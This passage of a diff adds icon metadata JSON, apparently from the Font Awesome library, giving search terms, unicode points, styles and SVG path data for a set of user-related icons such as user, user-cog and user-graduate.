8.9v89.1c0 5-3.9 8.9-8.9 8.9h-89.1c-5 0-8.9-3.9-8.9-8.9v-26.7h-26.7c-75.4 0-81.1-142.5-124.7-142.5H140.3c-8.1 30.6-35.9 53.5-69 53.5C32 327.3 0 295.3 0 256s32-71.3 71.3-71.3c33.1 0 61 22.8 69 53.5 39.1 0 43.9 9.5 74.6-60.4C255 88.7 273 95.7 323.8 95.7c7.5-20.9 27-35.6 50.4-35.6 29.5 0 53.5 23.9 53.5 53.5s-23.9 53.5-53.5 53.5c-23.4 0-42.9-14.8-50.4-35.6H294c-29.1 0-44.3 67.4-69.6 106.9h310.1v-35.6c0-3.3 1.7-6.1 4.5-7.8 2.8-1.7 6.4-1.4 8.9.3l89.1 53.5c2.8 1.1 4.5 4.1 4.5 7.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M641.5 256c0 3.1-1.7 6.1-4.5 7.5L547.9 317c-1.4.8-2.8 1.4-4.5 1.4-1.4 0-3.1-.3-4.5-1.1-2.8-1.7-4.5-4.5-4.5-7.8v-35.6H295.7c25.3 39.6 40.5 106.9 69.6 106.9H392V354c0-5 3.9-8.9 8.9-8.9H490c5 0 8.9 3.9 8.9 8.9v89.1c0 5-3.9 8.9-8.9 8.9h-89.1c-5 0-8.9-3.9-8.9-8.9v-26.7h-26.7c-75.4 0-81.1-142.5-124.7-142.5H140.3c-8.1 30.6-35.9 53.5-69 53.5C32 327.3 0 295.3 0 256s32-71.3 71.3-71.3c33.1 0 61 22.8 69 53.5 39.1 0 43.9 9.5 74.6-60.4C255 88.7 273 95.7 323.8 95.7c7.5-20.9 27-35.6 50.4-35.6 29.5 0 53.5 23.9 53.5 53.5s-23.9 53.5-53.5 53.5c-23.4 0-42.9-14.8-50.4-35.6H294c-29.1 0-44.3 67.4-69.6 106.9h310.1v-35.6c0-3.3 1.7-6.1 4.5-7.8 2.8-1.7 6.4-1.4 8.9.3l89.1 53.5c2.8 1.1 4.5 4.1 4.5 7.2z" + } + }, + "free": [ + "brands" + ] + }, + "user": { + "changes": [ + "1", + "5.0.0", + "5.0.3", + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [ + "account", + "avatar", + "head", + "human", + "man", + "person", + "profile" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f007", + "label": "User", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635789, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z" + }, + "regular": { + "last_modified": 1628088635268, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M313.6 304c-28.7 0-42.5 16-89.6 16-47.1 0-60.8-16-89.6-16C60.2 304 0 364.2 0 438.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-25.6c0-74.2-60.2-134.4-134.4-134.4zM400 464H48v-25.6c0-47.6 38.8-86.4 86.4-86.4 14.6 0 38.3 16 89.6 16 51.7 0 74.9-16 89.6-16 47.6 0 86.4 38.8 86.4 86.4V464zM224 288c79.5 0 144-64.5 144-144S303.5 0 224 0 80 64.5 80 144s64.5 144 144 144zm0-240c52.9 0 96 43.1 96 96s-43.1 96-96 96-96-43.1-96-96 43.1-96 96-96z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M313.6 304c-28.7 0-42.5 16-89.6 16-47.1 0-60.8-16-89.6-16C60.2 304 0 364.2 0 438.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-25.6c0-74.2-60.2-134.4-134.4-134.4zM400 464H48v-25.6c0-47.6 38.8-86.4 86.4-86.4 14.6 0 38.3 16 89.6 16 51.7 0 74.9-16 89.6-16 47.6 0 86.4 38.8 86.4 86.4V464zM224 288c79.5 0 144-64.5 144-144S303.5 0 224 0 80 64.5 80 144s64.5 144 144 144zm0-240c52.9 0 96 43.1 96 96s-43.1 96-96 96-96-43.1-96-96 43.1-96 96-96z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "user-alt": { + "changes": [ + "5.0.0", + "5.0.3", + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [ + "account", + "avatar", + "head", + "human", + "man", + "person", + "profile" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f406", + "label": "Alternate User", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635781, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 288c79.5 0 144-64.5 144-144S335.5 0 256 0 112 64.5 112 144s64.5 144 144 144zm128 32h-55.1c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16H128C57.3 320 0 377.3 0 448v16c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48v-16c0-70.7-57.3-128-128-128z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 288c79.5 0 144-64.5 144-144S335.5 0 256 0 112 64.5 112 144s64.5 144 144 144zm128 32h-55.1c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16H128C57.3 320 0 377.3 0 448v16c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48v-16c0-70.7-57.3-128-128-128z" + } + }, + "free": [ + "solid" + ] + }, + "user-alt-slash": { + "changes": [ + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [ + "account", + "avatar", + "head", + "human", + "man", + "person", + "profile" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f4fa", + "label": "Alternate User Slash", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635781, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M633.8 458.1L389.6 269.3C433.8 244.7 464 198.1 464 144 464 64.5 399.5 0 320 0c-67.1 0-123 46.1-139 108.2L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3zM198.4 320C124.2 320 64 380.2 64 454.4v9.6c0 26.5 21.5 48 48 48h382.2L245.8 320h-47.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M633.8 458.1L389.6 269.3C433.8 244.7 464 198.1 464 144 464 64.5 399.5 0 320 0c-67.1 0-123 46.1-139 108.2L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3zM198.4 320C124.2 320 64 380.2 64 454.4v9.6c0 26.5 21.5 48 48 48h382.2L245.8 320h-47.4z" + } + }, + "free": [ + "solid" + ] + }, + "user-astronaut": { + "changes": [ + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [ + "avatar", + "clothing", + "cosmonaut", + "nasa", + "space", + "suit" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f4fb", + "label": "User Astronaut", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635782, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 224h13.5c24.7 56.5 80.9 96 146.5 96s121.8-39.5 146.5-96H384c8.8 0 16-7.2 16-16v-96c0-8.8-7.2-16-16-16h-13.5C345.8 39.5 289.6 0 224 0S102.2 39.5 77.5 96H64c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16zm40-88c0-22.1 21.5-40 48-40h144c26.5 0 48 17.9 48 40v24c0 53-43 96-96 96h-48c-53 0-96-43-96-96v-24zm72 72l12-36 36-12-36-12-12-36-12 36-36 12 36 12 12 36zm151.6 113.4C297.7 340.7 262.2 352 224 352s-73.7-11.3-103.6-30.6C52.9 328.5 0 385 0 454.4v9.6c0 26.5 21.5 48 48 48h80v-64c0-17.7 14.3-32 32-32h128c17.7 0 32 14.3 32 32v64h80c26.5 0 48-21.5 48-48v-9.6c0-69.4-52.9-125.9-120.4-133zM272 448c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm-96 0c-8.8 0-16 7.2-16 16v48h32v-48c0-8.8-7.2-16-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M64 224h13.5c24.7 56.5 80.9 96 146.5 96s121.8-39.5 146.5-96H384c8.8 0 16-7.2 16-16v-96c0-8.8-7.2-16-16-16h-13.5C345.8 39.5 289.6 0 224 0S102.2 39.5 77.5 96H64c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16zm40-88c0-22.1 21.5-40 48-40h144c26.5 0 48 17.9 48 40v24c0 53-43 96-96 96h-48c-53 0-96-43-96-96v-24zm72 72l12-36 36-12-36-12-12-36-12 36-36 12 36 12 12 36zm151.6 113.4C297.7 340.7 262.2 352 224 352s-73.7-11.3-103.6-30.6C52.9 328.5 0 385 0 454.4v9.6c0 26.5 21.5 48 48 48h80v-64c0-17.7 14.3-32 32-32h128c17.7 0 32 14.3 32 32v64h80c26.5 0 48-21.5 48-48v-9.6c0-69.4-52.9-125.9-120.4-133zM272 448c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm-96 0c-8.8 0-16 7.2-16 16v48h32v-48c0-8.8-7.2-16-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "user-check": { + "changes": [ + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [ + "accept", + "check", + "person", + "verified" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f4fc", + "label": "User Check", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635782, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4zm323-128.4l-27.8-28.1c-4.6-4.7-12.1-4.7-16.8-.1l-104.8 104-45.5-45.8c-4.6-4.7-12.1-4.7-16.8-.1l-28.1 27.9c-4.7 4.6-4.7 12.1-.1 16.8l81.7 82.3c4.6 4.7 12.1 4.7 16.8.1l141.3-140.2c4.6-4.7 4.7-12.2.1-16.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4zm323-128.4l-27.8-28.1c-4.6-4.7-12.1-4.7-16.8-.1l-104.8 104-45.5-45.8c-4.6-4.7-12.1-4.7-16.8-.1l-28.1 27.9c-4.7 4.6-4.7 12.1-.1 16.8l81.7 82.3c4.6 4.7 12.1 4.7 16.8.1l141.3-140.2c4.6-4.7 4.7-12.2.1-16.8z" + } + }, + "free": [ + "solid" + ] + }, + "user-circle": { + "changes": [ + "4.7", + "5.0.0", + "5.0.3", + "5.0.11", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "account", + "avatar", + "head", + "human", + "man", + "person", + "profile" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f2bd", + "label": "User Circle", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635782, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 96c48.6 0 88 39.4 88 88s-39.4 88-88 88-88-39.4-88-88 39.4-88 88-88zm0 344c-58.7 0-111.3-26.6-146.5-68.2 18.8-35.4 55.6-59.8 98.5-59.8 2.4 0 4.8.4 7.1 1.1 13 4.2 26.6 6.9 40.9 6.9 14.3 0 28-2.7 40.9-6.9 2.3-.7 4.7-1.1 7.1-1.1 42.9 0 79.7 24.4 98.5 59.8C359.3 421.4 306.7 448 248 448z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 96c48.6 0 88 39.4 88 88s-39.4 88-88 88-88-39.4-88-88 39.4-88 88-88zm0 344c-58.7 0-111.3-26.6-146.5-68.2 18.8-35.4 55.6-59.8 98.5-59.8 2.4 0 4.8.4 7.1 1.1 13 4.2 26.6 6.9 40.9 6.9 14.3 0 28-2.7 40.9-6.9 2.3-.7 4.7-1.1 7.1-1.1 42.9 0 79.7 24.4 98.5 59.8C359.3 421.4 306.7 448 248 448z" + }, + "regular": { + "last_modified": 1628088635260, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 104c-53 0-96 43-96 96s43 96 96 96 96-43 96-96-43-96-96-96zm0 144c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-240C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-49.7 0-95.1-18.3-130.1-48.4 14.9-23 40.4-38.6 69.6-39.5 20.8 6.4 40.6 9.6 60.5 9.6s39.7-3.1 60.5-9.6c29.2 1 54.7 16.5 69.6 39.5-35 30.1-80.4 48.4-130.1 48.4zm162.7-84.1c-24.4-31.4-62.1-51.9-105.1-51.9-10.2 0-26 9.6-57.6 9.6-31.5 0-47.4-9.6-57.6-9.6-42.9 0-80.6 20.5-105.1 51.9C61.9 339.2 48 299.2 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 43.2-13.9 83.2-37.3 115.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 104c-53 0-96 43-96 96s43 96 96 96 96-43 96-96-43-96-96-96zm0 144c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-240C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-49.7 0-95.1-18.3-130.1-48.4 14.9-23 40.4-38.6 69.6-39.5 20.8 6.4 40.6 9.6 60.5 9.6s39.7-3.1 60.5-9.6c29.2 1 54.7 16.5 69.6 39.5-35 30.1-80.4 48.4-130.1 48.4zm162.7-84.1c-24.4-31.4-62.1-51.9-105.1-51.9-10.2 0-26 9.6-57.6 9.6-31.5 0-47.4-9.6-57.6-9.6-42.9 0-80.6 20.5-105.1 51.9C61.9 339.2 48 299.2 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 43.2-13.9 83.2-37.3 115.9z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "user-clock": { + "changes": [ + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [ + "alert", + "person", + "remind", + "time" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f4fd", + "label": "User Clock", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635782, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M496 224c-79.6 0-144 64.4-144 144s64.4 144 144 144 144-64.4 144-144-64.4-144-144-144zm64 150.3c0 5.3-4.4 9.7-9.7 9.7h-60.6c-5.3 0-9.7-4.4-9.7-9.7v-76.6c0-5.3 4.4-9.7 9.7-9.7h12.6c5.3 0 9.7 4.4 9.7 9.7V352h38.3c5.3 0 9.7 4.4 9.7 9.7v12.6zM320 368c0-27.8 6.7-54.1 18.2-77.5-8-1.5-16.2-2.5-24.6-2.5h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h347.1c-45.3-31.9-75.1-84.5-75.1-144zm-96-112c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M496 224c-79.6 0-144 64.4-144 144s64.4 144 144 144 144-64.4 144-144-64.4-144-144-144zm64 150.3c0 5.3-4.4 9.7-9.7 9.7h-60.6c-5.3 0-9.7-4.4-9.7-9.7v-76.6c0-5.3 4.4-9.7 9.7-9.7h12.6c5.3 0 9.7 4.4 9.7 9.7V352h38.3c5.3 0 9.7 4.4 9.7 9.7v12.6zM320 368c0-27.8 6.7-54.1 18.2-77.5-8-1.5-16.2-2.5-24.6-2.5h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h347.1c-45.3-31.9-75.1-84.5-75.1-144zm-96-112c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128z" + } + }, + "free": [ + "solid" + ] + }, + "user-cog": { + "changes": [ + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [ + "admin", + "cog", + "person", + "settings" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f4fe", + "label": "User Cog", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635783, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M610.5 373.3c2.6-14.1 2.6-28.5 0-42.6l25.8-14.9c3-1.7 4.3-5.2 3.3-8.5-6.7-21.6-18.2-41.2-33.2-57.4-2.3-2.5-6-3.1-9-1.4l-25.8 14.9c-10.9-9.3-23.4-16.5-36.9-21.3v-29.8c0-3.4-2.4-6.4-5.7-7.1-22.3-5-45-4.8-66.2 0-3.3.7-5.7 3.7-5.7 7.1v29.8c-13.5 4.8-26 12-36.9 21.3l-25.8-14.9c-2.9-1.7-6.7-1.1-9 1.4-15 16.2-26.5 35.8-33.2 57.4-1 3.3.4 6.8 3.3 8.5l25.8 14.9c-2.6 14.1-2.6 28.5 0 42.6l-25.8 14.9c-3 1.7-4.3 5.2-3.3 8.5 6.7 21.6 18.2 41.1 33.2 57.4 2.3 2.5 6 3.1 9 1.4l25.8-14.9c10.9 9.3 23.4 16.5 36.9 21.3v29.8c0 3.4 2.4 6.4 5.7 7.1 22.3 5 45 4.8 66.2 0 3.3-.7 5.7-3.7 5.7-7.1v-29.8c13.5-4.8 26-12 36.9-21.3l25.8 14.9c2.9 1.7 6.7 1.1 9-1.4 15-16.2 26.5-35.8 33.2-57.4 1-3.3-.4-6.8-3.3-8.5l-25.8-14.9zM496 400.5c-26.8 0-48.5-21.8-48.5-48.5s21.8-48.5 48.5-48.5 48.5 21.8 48.5 48.5-21.7 48.5-48.5 48.5zM224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm201.2 226.5c-2.3-1.2-4.6-2.6-6.8-3.9l-7.9 4.6c-6 3.4-12.8 5.3-19.6 5.3-10.9 0-21.4-4.6-28.9-12.6-18.3-19.8-32.3-43.9-40.2-69.6-5.5-17.7 1.9-36.4 17.9-45.7l7.9-4.6c-.1-2.6-.1-5.2 0-7.8l-7.9-4.6c-16-9.2-23.4-28-17.9-45.7.9-2.9 2.2-5.8 3.2-8.7-3.8-.3-7.5-1.2-11.4-1.2h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c10.1 0 19.5-3.2 27.2-8.5-1.2-3.8-2-7.7-2-11.8v-9.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M610.5 373.3c2.6-14.1 2.6-28.5 0-42.6l25.8-14.9c3-1.7 4.3-5.2 3.3-8.5-6.7-21.6-18.2-41.2-33.2-57.4-2.3-2.5-6-3.1-9-1.4l-25.8 14.9c-10.9-9.3-23.4-16.5-36.9-21.3v-29.8c0-3.4-2.4-6.4-5.7-7.1-22.3-5-45-4.8-66.2 0-3.3.7-5.7 3.7-5.7 7.1v29.8c-13.5 4.8-26 12-36.9 21.3l-25.8-14.9c-2.9-1.7-6.7-1.1-9 1.4-15 16.2-26.5 35.8-33.2 57.4-1 3.3.4 6.8 3.3 8.5l25.8 14.9c-2.6 14.1-2.6 28.5 0 42.6l-25.8 14.9c-3 1.7-4.3 5.2-3.3 8.5 6.7 21.6 18.2 41.1 33.2 57.4 2.3 2.5 6 3.1 9 1.4l25.8-14.9c10.9 9.3 23.4 16.5 36.9 21.3v29.8c0 3.4 2.4 6.4 5.7 7.1 22.3 5 45 4.8 66.2 0 3.3-.7 5.7-3.7 5.7-7.1v-29.8c13.5-4.8 26-12 36.9-21.3l25.8 14.9c2.9 1.7 6.7 1.1 9-1.4 15-16.2 26.5-35.8 33.2-57.4 1-3.3-.4-6.8-3.3-8.5l-25.8-14.9zM496 400.5c-26.8 0-48.5-21.8-48.5-48.5s21.8-48.5 48.5-48.5 48.5 21.8 48.5 48.5-21.7 48.5-48.5 48.5zM224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm201.2 226.5c-2.3-1.2-4.6-2.6-6.8-3.9l-7.9 4.6c-6 3.4-12.8 5.3-19.6 5.3-10.9 0-21.4-4.6-28.9-12.6-18.3-19.8-32.3-43.9-40.2-69.6-5.5-17.7 1.9-36.4 17.9-45.7l7.9-4.6c-.1-2.6-.1-5.2 0-7.8l-7.9-4.6c-16-9.2-23.4-28-17.9-45.7.9-2.9 2.2-5.8 3.2-8.7-3.8-.3-7.5-1.2-11.4-1.2h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c10.1 0 19.5-3.2 27.2-8.5-1.2-3.8-2-7.7-2-11.8v-9.2z" + } + }, + "free": [ + "solid" + ] + }, + "user-edit": { + "changes": [ + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [ + "edit", + "pen", + "pencil", + "person", + "update", + "write" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f4ff", + "label": "User Edit", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635783, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h274.9c-2.4-6.8-3.4-14-2.6-21.3l6.8-60.9 1.2-11.1 7.9-7.9 77.3-77.3c-24.5-27.7-60-45.5-99.9-45.5zm45.3 145.3l-6.8 61c-1.1 10.2 7.5 18.8 17.6 17.6l60.9-6.8 137.9-137.9-71.7-71.7-137.9 137.8zM633 268.9L595.1 231c-9.3-9.3-24.5-9.3-33.8 0l-37.8 37.8-4.1 4.1 71.8 71.7 41.8-41.8c9.3-9.4 9.3-24.5 0-33.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h274.9c-2.4-6.8-3.4-14-2.6-21.3l6.8-60.9 1.2-11.1 7.9-7.9 77.3-77.3c-24.5-27.7-60-45.5-99.9-45.5zm45.3 145.3l-6.8 61c-1.1 10.2 7.5 18.8 17.6 17.6l60.9-6.8 137.9-137.9-71.7-71.7-137.9 137.8zM633 268.9L595.1 231c-9.3-9.3-24.5-9.3-33.8 0l-37.8 37.8-4.1 4.1 71.8 71.7 41.8-41.8c9.3-9.4 9.3-24.5 0-33.9z" + } + }, + "free": [ + "solid" + ] + }, + "user-friends": { + "changes": [ + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [ + "group", + "people", + "person", + "team", + "users" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f500", + "label": "User Friends", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635784, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M192 256c61.9 0 112-50.1 112-112S253.9 32 192 32 80 82.1 80 144s50.1 112 112 112zm76.8 32h-8.3c-20.8 10-43.9 16-68.5 16s-47.6-6-68.5-16h-8.3C51.6 288 0 339.6 0 403.2V432c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48v-28.8c0-63.6-51.6-115.2-115.2-115.2zM480 256c53 0 96-43 96-96s-43-96-96-96-96 43-96 96 43 96 96 96zm48 32h-3.8c-13.9 4.8-28.6 8-44.2 8s-30.3-3.2-44.2-8H432c-20.4 0-39.2 5.9-55.7 15.4 24.4 26.3 39.7 61.2 39.7 99.8v38.4c0 2.2-.5 4.3-.6 6.4H592c26.5 0 48-21.5 48-48 0-61.9-50.1-112-112-112z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M192 256c61.9 0 112-50.1 112-112S253.9 32 192 32 80 82.1 80 144s50.1 112 112 112zm76.8 32h-8.3c-20.8 10-43.9 16-68.5 16s-47.6-6-68.5-16h-8.3C51.6 288 0 339.6 0 403.2V432c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48v-28.8c0-63.6-51.6-115.2-115.2-115.2zM480 256c53 0 96-43 96-96s-43-96-96-96-96 43-96 96 43 96 96 96zm48 32h-3.8c-13.9 4.8-28.6 8-44.2 8s-30.3-3.2-44.2-8H432c-20.4 0-39.2 5.9-55.7 15.4 24.4 26.3 39.7 61.2 39.7 99.8v38.4c0 2.2-.5 4.3-.6 6.4H592c26.5 0 48-21.5 48-48 0-61.9-50.1-112-112-112z" + } + }, + "free": [ + "solid" + ] + }, + "user-graduate": { + "changes": [ + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [ + "cap", + "clothing", + "commencement", + "gown", + "graduation", + "person", + "student" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f501", + "label": "User Graduate", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635784, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M319.4 320.6L224 416l-95.4-95.4C57.1 323.7 0 382.2 0 454.4v9.6c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-9.6c0-72.2-57.1-130.7-128.6-133.8zM13.6 79.8l6.4 1.5v58.4c-7 4.2-12 11.5-12 20.3 0 8.4 4.6 15.4 11.1 19.7L3.5 242c-1.7 6.9 2.1 14 7.6 14h41.8c5.5 0 9.3-7.1 7.6-14l-15.6-62.3C51.4 175.4 56 168.4 56 160c0-8.8-5-16.1-12-20.3V87.1l66 15.9c-8.6 17.2-14 36.4-14 57 0 70.7 57.3 128 128 128s128-57.3 128-128c0-20.6-5.3-39.8-14-57l96.3-23.2c18.2-4.4 18.2-27.1 0-31.5l-190.4-46c-13-3.1-26.7-3.1-39.7 0L13.6 48.2c-18.1 4.4-18.1 27.2 0 31.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M319.4 320.6L224 416l-95.4-95.4C57.1 323.7 0 382.2 0 454.4v9.6c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-9.6c0-72.2-57.1-130.7-128.6-133.8zM13.6 79.8l6.4 1.5v58.4c-7 4.2-12 11.5-12 20.3 0 8.4 4.6 15.4 11.1 19.7L3.5 242c-1.7 6.9 2.1 14 7.6 14h41.8c5.5 0 9.3-7.1 7.6-14l-15.6-62.3C51.4 175.4 56 168.4 56 160c0-8.8-5-16.1-12-20.3V87.1l66 15.9c-8.6 17.2-14 36.4-14 57 0 70.7 57.3 128 128 128s128-57.3 128-128c0-20.6-5.3-39.8-14-57l96.3-23.2c18.2-4.4 18.2-27.1 0-31.5l-190.4-46c-13-3.1-26.7-3.1-39.7 0L13.6 48.2c-18.1 4.4-18.1 27.2 0 31.6z" + } + }, + "free": [ + "solid" + ] + }, + "user-injured": { + "changes": [ + "5.4.0" + ], + "ligatures": [], + "search": { + 